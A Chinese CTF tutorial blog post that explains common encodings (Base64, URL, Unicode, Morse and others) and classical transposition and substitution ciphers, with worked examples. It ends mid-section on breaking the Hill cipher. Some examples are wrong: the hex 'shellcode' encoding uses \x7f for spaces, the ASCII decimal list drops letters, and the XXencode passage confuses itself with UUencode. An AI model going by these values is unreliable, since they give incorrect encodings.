正文开始之前先闲扯几句吧，玩CTF的小伙伴也许会遇到类似这样的问题:表哥，你知道这是什么加密吗？其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形，一般出题者会对密文进行一些处理，但是会给留一些线索，所以写此文的目的是想给小伙伴做题时给一些参考，当然常在CTF里出现的编码也可以了解一下。本来是想尽快写出参考的文章，无奈期间被各种事情耽搁导致文章断断续续写了2个月，文章肯定有许多没有提及到，欢迎小伙伴补充，总之，希望对小伙伴们有帮助吧！最后欢迎小伙伴来 博客 玩耍:P

&lt;h1 id=&quot;0x02-正文&quot;&gt;0x02 正文&lt;/h1&gt;
&lt;h2 id=&quot;常见编码&quot;&gt;常见编码&lt;/h2&gt;
&lt;h3 id=&quot;1ascii编码&quot;&gt;1.ASCII编码&lt;/h3&gt;
ASCII编码大致可以分作三部分组成：

第一部分是：ASCII非打印控制字符（参详ASCII码表中0-31）;

第二部分是：ASCII打印字符，也就是CTF中常用到的转换;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103300271498.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

第三部分是：扩展ASCII打印字符(第一第三部分详见 ASCII码表 解释)。

编码转换示例
源文本： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The quick brown fox jumps over the lazy dog&lt;/code&gt;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103144427062.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

ASCII编码对应十进制：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;101 32 113 117 105 99 107 32 98 114 111 119 110 32 102 111 120 32 106 117 109 112 115 32 111 118 101 114 32 116 104 101 32 108 97 122 121 32 100 111 103&lt;/code&gt;

对应可以转换成二进制，八进制，十六进制等。
&lt;h3 id=&quot;2base643216编码&quot;&gt;2.Base64/32/16编码&lt;/h3&gt;
base64、base32、base16可以分别编码转化8位字节为6位、5位、4位。16,32,64分别表示用多少个字符来编码，这里我注重介绍base64。Base64常用于在通常处理文本数据的场合，表示、传输、存储一些二进制数据。包括MIME的email，email via MIME,在XML中存储复杂数据。

编码原理：Base64编码要求把3个8位字节转化为4个6位的字节，之后在6位的前面补两个0，形成8位一个字节的形式，6位2进制能表示的最大数是2的6次方是64，这也是为什么是64个字符(A-Z,a-z，0-9，+，/这64个编码字符，=号不属于编码字符，而是填充字符)的原因，这样就需要一张映射表，如下：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103144549108.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

举个例子(base64)：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;源文本：T h e

对应ascii码:84 104 101

8位binary：01010100 01101000 01100101

6位binary：010101 000110 100001 100101

高位补0：000010101 00000110 00100001 00100101

对应ascii码：21 6 33 37

查表：V G h l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

利用Python base64模块，我们分别可以这样加密解密base64 32 16：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103144756515.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;h3 id=&quot;3shellcode编码&quot;&gt;3.shellcode编码&lt;/h3&gt;
源文本： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The quick brown fox jumps over the lazy dog&lt;/code&gt;
编码后：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x54\x68\x65\x7f\x71\x75\x69\x63\x6b\x7f\x62\x72\x6f\x77\x6e\x7f\x66\x6f\x78\x7f\x6a\x75\x6d\x70\x73\x7f\x6f\x76\x65\x72\x7f\x74\x68\x65\x7f\x6c\x61\x7a\x79\x7f\x64\x6f\x67&lt;/code&gt;

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103144956877.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;
&lt;h3 id=&quot;4quoted-printable-编码&quot;&gt;4.Quoted-printable 编码&lt;/h3&gt;
它是多用途互联网邮件扩展（MIME) 一种实现方式。有时候我们可以邮件头里面能够看到这样的编码，编码原理 参考 。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103175736124.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;
源文本：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;敏捷的棕色狐狸跳过了懒惰的狗&lt;/code&gt;

编码后：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;=E6=95=8F=E6=8D=B7=E7=9A=84=E6=A3=95=E8=89=B2=E7=8B=90=E7=8B=B8=E8=B7=B3=E8
=BF=87=E4=BA=86=E6=87=92=E6=83=B0=E7=9A=84=E7=8B=97
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
编码解码 &lt;em&gt;&lt;a href=&quot;http://www.mxcz.net/tools/QuotedPrintable.aspx&quot;&gt;链接&lt;/a&gt;&lt;/em&gt;

&lt;h3 id=&quot;5xxencode编码&quot;&gt;5.XXencode编码&lt;/h3&gt;
XXencode将输入文本以每三个字节为单位进行编码。如果最后剩下的资料少于三个字节，不够的部份用零补齐。这三个字节共有24个Bit，以6bit为单位分为4个组，每个组以十进制来表示所出现的数值只会落在0到63之间。以所对应值的位置字符代替。它所选择的可打印字符是：+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz，一共64个字符。跟base64打印字符相比，就是UUencode多一个“-” 字符，少一个”/” 字符。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103145225932.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;
源文本： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The quick brown fox jumps over the lazy dog&lt;/code&gt;

编码后： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hJ4VZ653pOKBf647mPrRi64NjS0-eRKpkQm-jRaJm65FcNG-gMLdt64FjNkc+&lt;/code&gt;

编码解码 &lt;a href=&quot;http://web.chacuo.net/charsetxxencode&quot;&gt;链接&lt;/a&gt;
&lt;h3 id=&quot;6uuencode编码&quot;&gt;6.UUencode编码&lt;/h3&gt;
UUencode是一种二进制到文字的编码，最早在unix 邮件系统中使用，全称：Unix-to-Unix encoding，UUencode将输入文本以每三个字节为单位进行编码，如果最后剩下的资料少于三个字节，不够的部份用零补齐。三个字节共有24个Bit，以6-bit为单位分为4个组，每个组以十进制来表示所出现的字节的数值。这个数值只会落在0到63之间。然后将每个数加上32，所产生的结果刚好落在ASCII字符集中可打印字符（32-空白…95-底线）的范围之中。

源文本：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; The quick brown fox jumps over the lazy dog&lt;/code&gt;

编码后：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; M5&amp;amp;AE('%U:6-K(&amp;amp;)R;W=N(&amp;amp;9O&amp;gt;&quot;!J=6UP&amp;lt;R!O=F5R('1H92!L87IY(&amp;amp;1O9PH*&lt;/code&gt;

编码解码 &lt;a href=&quot;http://web.chacuo.net/charsetuuencode&quot;&gt;链接&lt;/a&gt;

&lt;h3 id=&quot;7url编码&quot;&gt;7.URL编码&lt;/h3&gt;
url编码又叫百分号编码，是统一资源定位(URL)编码方式。URL地址（常说网址）规定了常用地数字，字母可以直接使用，另外一批作为特殊用户字符也可以直接用（/,:@等），剩下的其它所有字符必须通过%xx编码处理。 现在已经成为一种规范了，基本所有程序语言都有这种编码，如js：有encodeURI、encodeURIComponent，PHP有 urlencode、urldecode等。编码方法很简单，在该字节ascii码的的16进制字符前面加%. 如 空格字符，ascii码是32，对应16进制是’20’，那么urlencode编码结果是:%20。

源文本：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The quick brown fox jumps over the lazy dog&lt;/code&gt;

编码后：

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%54%68%65%20%71%75%69%63%6b%20%62%72%6f%77%6e%20%66%6f%78%20%6a%75%6d%70%73%20%6f%76%65%72%20%74%68%65%20%6c%61%7a%79%20%64%6f%67&lt;/code&gt;
编码解码 &lt;a href=&quot;http://web.chacuo.net/charseturlencode&quot;&gt;链接&lt;/a&gt;
&lt;h3 id=&quot;8unicode编码&quot;&gt;8.Unicode编码&lt;/h3&gt;
Unicode编码有以下四种编码方式：

源文本：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The

&amp;amp;#x [Hex]： &amp;amp;#x0054;&amp;amp;#x0068;&amp;amp;#x0065;

&amp;amp;# [Decimal]： &amp;amp;#00084;&amp;amp;#00104;&amp;amp;#00101;

\U [Hex]： \U0054\U0068\U0065

\U+ [Hex]： \U+0054\U+0068\U+0065
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

编码解码 &lt;a href=&quot;http://www.mxcz.net/tools/Unicode.aspx&quot;&gt;链接&lt;/a&gt;

&lt;h3 id=&quot;9escapeunescape编码&quot;&gt;9.Escape/Unescape编码&lt;/h3&gt;
Escape/Unescape加密解码/编码解码,又叫%u编码，采用UTF-16BE模式， Escape编码/加密,就是字符对应UTF-16 16进制表示方式前面加%u。Unescape解码/解密，就是去掉”%u”后，将16进制字符还原后，由utf-16转码到自己目标字符。如：字符“中”，UTF-16BE是：“6d93”，因此Escape是“%u6d93”。

源文本： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The&lt;/code&gt;

编码后：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; %u0054%u0068%u0065&lt;/code&gt;

&lt;h3 id=&quot;10html实体编码&quot;&gt;10.HTML实体编码&lt;/h3&gt;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103145360942.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

完整编码手册 &lt;a href=&quot;http://www.w3school.com.cn/tags/html_ref_entities.html&quot;&gt;参考&lt;/a&gt;

&lt;h3 id=&quot;11敲击码&quot;&gt;11.敲击码&lt;/h3&gt;
敲击码(Tap code)是一种以非常简单的方式对文本信息进行编码的方法。因该编码对信息通过使用一系列的点击声音来编码而命名，敲击码是基于5×5方格波利比奥斯方阵来实现的，不同点是是用K字母被整合到C中。

敲击码表:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  3  4  5
 A  B C/K D  E
 F  G  H  I  J 
 L  M  N  O  P
 Q  R  S  T  U
 V  W  X  Y  Z
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103172497487.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;h3 id=&quot;12莫尔斯电码&quot;&gt;12.莫尔斯电码&lt;/h3&gt;
摩尔斯电码(Morse Code)是由美国人萨缪尔·摩尔斯在1836年发明的一种时通时断的且通过不同的排列顺序来表达不同英文字母、数字和标点符号的信号代码，摩尔斯电码主要由以下5种它的代码组成：

&lt;ul&gt;
  &lt;li&gt;点（.）&lt;/li&gt;
  &lt;li&gt;划（-）&lt;/li&gt;
  &lt;li&gt;每个字符间短的停顿（通常用空格表示停顿）&lt;/li&gt;
  &lt;li&gt;每个词之间中等的停顿（通常用 / 划分）&lt;/li&gt;
  &lt;li&gt;以及句子之间长的停顿
摩尔斯电码字母和数字对应表：
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;A  .-    N  -.    .  .-.-.-  +  .-.-.    1  .----
B  -...  O  ---   ,  --..--  _  ..--.-   2  ..---
C  -.-.  P  .--.  :  ---...  $  ...-..-  3  ...--
D  -..   Q  --.-  &quot;  .-..-.  &amp;amp;  .-...    4  ....-
E  .     R  .-.   '  .----.  /  -..-.    5  .....
F  ..-.  S  ...   !  -.-.--              6  -....
G  --.   T  -     ?  ..--..              7  --...
H  ....  U  ..-   @  .--.-.              8  ---..
I  ..    V  ...-  -  -....-              9  ----.
J  .---  W  .--   ;  -.-.-.              0  -----
K  -.-   X  -..-  (  -.--.           
L  .-..  Y  -.--  )  -.--.-          
M  --    Z  --..  =  -...-                      
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

源文本: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

在线编码解码 &lt;a href=&quot;http://rumkin.com/tools/cipher/morse.php&quot;&gt;传送门&lt;/a&gt;

摩尔斯电码除了能对字母数字编码以外还对一些标点符号，非英语字符进行了编码，而且还有一些特定意义的组合称为特殊符号，比如&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; ·-·-·-·-·- &lt;/code&gt;表达的意思是调用信号，表示“我有消息发送”。如果你感兴趣可以参考 WiKi 。

&lt;h3 id=&quot;13编码的故事&quot;&gt;13.编码的故事&lt;/h3&gt;
推荐大家去看 &lt;a href=&quot;http://wenku.baidu.com/link?url=kTrscV5j5AsZq5zvBpr2jdkEJW8LqgrkkKsddwWA3YlXmgeqh_be95nMxqbFPOYoVBVy3A6lutlcXVDYLdZ-3iRawJpc0VZ71as07FnxtGS&quot;&gt;编码的故事&lt;/a&gt; 一文。
各种文本加密
文本加密可以将正常文本内容打乱为不可连读的文字或符号(汉字 数字 字母 音乐符号 国际音标 盲文 韩文 日文 傣文 彝文 箭头符号 花朵符号 俄文)，换行等格式信息也会被清除，达到加密的作用。在进行文本加密时可以设定一个密码，这样只有知道密码的人才能解密文本。密码可以是数字、字母和下划线，最多九位。

加密示例：

源文本： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;敏捷的棕色狐狸跳过了懒惰的狗&lt;/code&gt;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103145541200.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

编码解码 &lt;a href=&quot;http://www.qqxiuzi.cn/bianma/wenbenjiami.php&quot;&gt;链接&lt;/a&gt;

&lt;h2 id=&quot;换位加密&quot;&gt;换位加密&lt;/h2&gt;
&lt;h3 id=&quot;1栅栏密码&quot;&gt;1.栅栏密码&lt;/h3&gt;
（1）介绍
栅栏密码(Rail-fence Cipher)就是把要加密的明文分成N个一组，然后把每组的第1个字符组合，每组第2个字符组合…每组的第N(最后一个分组可能不足N个)个字符组合，最后把他们全部连接起来就是密文，这里以2栏栅栏加密为例。

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The quick brown fox jumps over the lazy dog&lt;/code&gt;

去空格： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Thequickbrownfoxjumpsoverthelazydog&lt;/code&gt;

分组：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Th eq ui ck br ow nf ox ju mp so ve rt he la zy do g&lt;/code&gt;

第一组：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; Teucbonojmsvrhlzdg&lt;/code&gt;

第二组： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hqikrwfxupoeteayo&lt;/code&gt;

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Teucbonojmsvrhlzdghqikrwfxupoeteayo&lt;/code&gt;

加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/rail-fence/&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;2曲路密码&quot;&gt;2.曲路密码&lt;/h3&gt;
曲路密码(Curve Cipher)是一种换位密码，需要事先双方约定密钥(也就是曲路路径)。

明文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; The quick brown fox jumps over the lazy dog&lt;/code&gt;

填入5行7列表(事先约定填充的行列数)
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103145728301.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

加密的回路线(事先约定填充的行列数)
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103145873152.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gesfc inpho dtmwu qoury zejre hbxva lookT&lt;/code&gt;

&lt;h3 id=&quot;3列移位密码&quot;&gt;3.列移位密码&lt;/h3&gt;
（1）介绍

列移位密码(Columnar Transposition Cipher)是一种比较简单，易于实现的换位密码，通过一个简单的规则将明文打乱混合成密文。下面我们以明文 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The quick brown fox jumps over the lazy dog&lt;/code&gt;，密钥 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;how are u&lt;/code&gt;为例：

填入5行7列表(事先约定填充的行列数，如果明文不能填充完表格可以约定使用某个字母进行填充)

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103145728301.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;
密钥： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;how are u&lt;/code&gt;

按&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;how are u&lt;/code&gt;在字母表中的出现的先后顺序进行编号，我们就有a为1,e为2，h为3，o为4，r为5，u为6，w为7，所以先写出a列，其次e列，以此类推写出的结果便是密文：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103150019394.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

密文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; qoury inpho Tkool hbxva uwmtd cfseg erjez&lt;/code&gt;

这里提供一个行列数相等的填充规则列移位密码加解密 链接

另外由列移位密码变化来的密码也有其他的，比如 &lt;a href=&quot;http://www.thonky.com/kryptos/amsco-cipher&quot;&gt;Amsco密码&lt;/a&gt; (Amsco Cipher)和 &lt;a href=&quot;http://www.thonky.com/kryptos/cadenus-cipher&quot;&gt;Cadenus密码&lt;/a&gt; (Cadenus Cipher)。

&lt;h2 id=&quot;替换加密&quot;&gt;替换加密&lt;/h2&gt;
&lt;h3 id=&quot;1埃特巴什码&quot;&gt;1.埃特巴什码&lt;/h3&gt;
（1）介绍

埃特巴什码(Atbash Cipher)是一种以字母倒序排列作为特殊密钥的替换加密，也就是下面的对应关系：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ
ZYXWVUTSRQPONMLKJIHGFEDCBA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;the quick brown fox jumps over the lazy dog&lt;/code&gt;

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gsv jfrxp yildm ulc qfnkh levi gsv ozab wlt&lt;/code&gt;

加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/atbash-cipher/&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;2凯撒密码&quot;&gt;2.凯撒密码&lt;/h3&gt;
（1）介绍

凯撒密码(Caesar Cipher或称恺撒加密、恺撒变换、变换加密、位移加密)是一种替换加密，明文中的所有字母都在字母表上向后（或向前）按照一个固定数目进行偏移后被替换成密文。例，当偏移量是3的时候，所有的字母A将被替换成D，B变成E，以此类推，更多 参考 。

加密实例：

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;The quick brown fox jumps over the lazy dog&lt;/code&gt;

偏移量：1

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Uif rvjdl cspxo gpy kvnqt pwfs uif mbaz eph&lt;/code&gt;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103150172849.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

你也可以使用Python的pycipher模块来加解密，如果提示没有这个模块可以通过 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip install pycipher&lt;/code&gt; 或者其他方式来安装pycipher模块。
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from pycipher import Caesar
&amp;gt;&amp;gt;&amp;gt; Caesar(key=1).encipher('The quick brown fox jumps over the lazy dog')
'UIFRVJDLCSPXOGPYKVNQTPWFSUIFMBAZEPH'
&amp;gt;&amp;gt;&amp;gt; Caesar(key=1).decipher('UIFRVJDLCSPXOGPYKVNQTPWFSUIFMBAZEPH')
'THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
参考表(这里是向后移位加密，向前移位解密)：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103175865018.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

加密解密 &lt;a href=&quot;http://planetcalc.com/1434/&quot;&gt;链接&lt;/a&gt; (这个网站可以将26种情况一次性列举出来，比较方便)

&lt;h3 id=&quot;3rot5131847&quot;&gt;3.ROT5/13/18/47&lt;/h3&gt;
（1）介绍

ROT5/13/18/47是一种简单的码元位置顺序替换暗码。此类编码具有可逆性，可以自我解密，主要用于应对快速浏览，或者是机器的读取。

&lt;ul&gt;
  &lt;li&gt;
    ROT5 是 rotate by 5 places 的简写，意思是旋转5个位置，其它皆同。下面分别说说它们的编码方式：
  &lt;/li&gt;
  &lt;li&gt;
    ROT5：只对数字进行编码，用当前数字往前数的第5个数字替换当前数字，例如当前为0，编码后变成5，当前为1，编码后变成6，以此类推顺序循环。
  &lt;/li&gt;
  &lt;li&gt;
    ROT13：只对字母进行编码，用当前字母往前数的第13个字母替换当前字母，例如当前为A，编码后变成N，当前为B，编码后变成O，以此类推顺序循环。
  &lt;/li&gt;
  &lt;li&gt;
    ROT18：这是一个异类，本来没有，它是将ROT5和ROT13组合在一起，为了好称呼，将其命名为ROT18。
  &lt;/li&gt;
  &lt;li&gt;
    ROT47：对数字、字母、常用符号进行编码，按照它们的ASCII值进行位置替换，用当前字符ASCII值往前数的第47位对应字符替换当前字符，例如当前为小写字母z，编码后变成大写字母K，当前为数字0，编码后变成符号_。用于ROT47编码的字符其ASCII值范围是33－126，具体可参考ASCII编码，下面以rot13以例。
  &lt;/li&gt;
&lt;/ul&gt;

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;the quick brown fox jumps over the lazy dog&lt;/code&gt;

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gur dhvpx oebja sbk whzcf bire gur ynml qbt&lt;/code&gt;

&lt;a href=&quot;http://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;4简单替换密码&quot;&gt;4.简单替换密码&lt;/h3&gt;
（1）介绍

简单换位密码(Simple Substitution Cipher)加密方式是以每个明文字母被与之唯一对应且不同的字母替换的方式实现的，它不同于恺撒密码，因为密码字母表的字母不是简单的移位，而是完全是混乱的。 比如：

明文字母 :&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; abcdefghijklmnopqrstuvwxyz&lt;/code&gt;
明文字母 : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phqgiumeaylnofdxjkrcvstzwb&lt;/code&gt;
明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;the quick brown fox jumps over the lazy dog&lt;/code&gt;

密文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; cei jvaql hkdtf udz yvoxr dsik cei npbw gdm&lt;/code&gt;

（2）破解

当密文数据足够多时这种密码我们可以通过字频分析方法破解或其他方法破解，比较好的在线词频分析网站 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://quipqiup.com/index.php &lt;/code&gt;(翻= =墙)，这里推荐一篇通过”爬山算法”来破解简单替换密码 文章 ，基于文中的算法实现的工具来破解示例。

密文：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pmpafxaikkitprdsikcplifhwceigixkirradfeirdgkipgigudkcekiigpwrpucikceiginasikwduearrxiiqepcceindgmieinpwdfprduppcedoikiqiasafmfddfipfgmdafmfdteiki
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
解密：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103150561202.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

(ps:score值越小越准确)

密钥：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; PHQGIUMEAVLNOFDXBKRCZSTJWY&lt;/code&gt;

明文：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;AGAINPIERREWASOVERTAKENBYTHEDEPRESSIONHESODREADEDFORTHREEDAYSAFTERTHEDELIVERYOFHISSPEECHATTHELODGEHELAYONASOFAATHOMERECEIVINGNOONEANDGOINGNOWHERE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
将明文转换成可读句子：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;again pierre was over taken by the depression he so dreaded for three day safter the delivery of his speech at the lodge he lay on a sofa at home receiving no one and going no where
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;5希尔密码&quot;&gt;5.希尔密码&lt;/h3&gt;
（1）介绍

希尔密码(Hill Cipher)是基于线性代数多重代换密码，由Lester S. Hill在1929年发明。每个字母转换成26进制数字：A=0, B=1, C=2…Z=25一串字母当成n维向量，跟一个n×n的矩阵相乘，再将得出的结果MOD26。更多 参考

（2）加密

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ACT&lt;/code&gt;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103150745351.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文对应矩阵：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103150779826.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

加密密钥： GYBNQKURP

加密矩阵：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103150840633.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

计算过程：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103150853189.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

密文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; FIN&lt;/code&gt;

（3）解密

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FIN&lt;/code&gt;

计算加密矩阵的逆矩阵：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103151016624.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

解密计算：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103151170410.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; ACT&lt;/code&gt;

至于证明和求逆可以参考线性代数知识。

（4）破解

密码分析一门破解编码和密码的艺术。当我们尝试去攻破希尔密码你会发现频率分析实际上没有什么用处，特别在密钥长度增多的情况下。对于较长的二元矩阵（2×2的希尔密码）频率分析可能可能会有帮助，但是对于较短的密文分析是没有实际作用的。

这里推荐一篇关于用 已知明文样本攻击的方式破解希尔密码 的文章，基础的希尔密码用 已知明文攻击 的方式是可攻破的，由于加密完全是线性的，所以攻击者在截取到部分明文/密文字符对可以轻松建立一个线性系统，轻松搞定希尔密码，如果不能完全确定线性系统，那么只需要添加部分明文/密文对即可。已知明文攻击时最好的方式去破解写入密码，如果明文一无所知，那就进行推测猜出部分明文。基于已知明文样本攻击的方式破解希尔密码的算法的实现工具破解示例：

密文：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;XUKEXWSLZJUAXUNKIGWFSOZRAWURORKXAOSLHROBXBTKCMUWDVPTFBLMKEFVWMUXTVTWUIDDJVZKBRMCWOIWYDXMLUFPVSHAGSVWUFWORCWUIDUJCNVTTBERTUNOJUZHVTWKORSVRZSVVFSQXOCMUWPYTRLGBMCYPOJCLRIYTVFCCMUWUFPOXCNMCIWMSKPXEDLYIQKDJWIWCJUMVRCJUMVRKXWURKPSEEIWZVXULEIOETOOFWKBIUXPXUGOWLFPWUSCH
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
解密：

